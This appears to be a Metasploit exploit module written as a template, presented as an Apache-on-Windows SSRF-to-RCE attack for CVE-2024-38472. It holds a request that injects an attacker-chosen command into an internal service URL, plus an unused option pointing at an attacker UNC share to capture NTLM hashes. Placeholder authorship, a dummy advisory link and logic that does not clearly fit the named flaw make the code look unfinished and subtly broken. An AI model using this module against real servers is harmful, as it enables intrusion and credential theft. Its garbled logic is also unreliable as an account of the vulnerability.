CVE-2024-38472

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end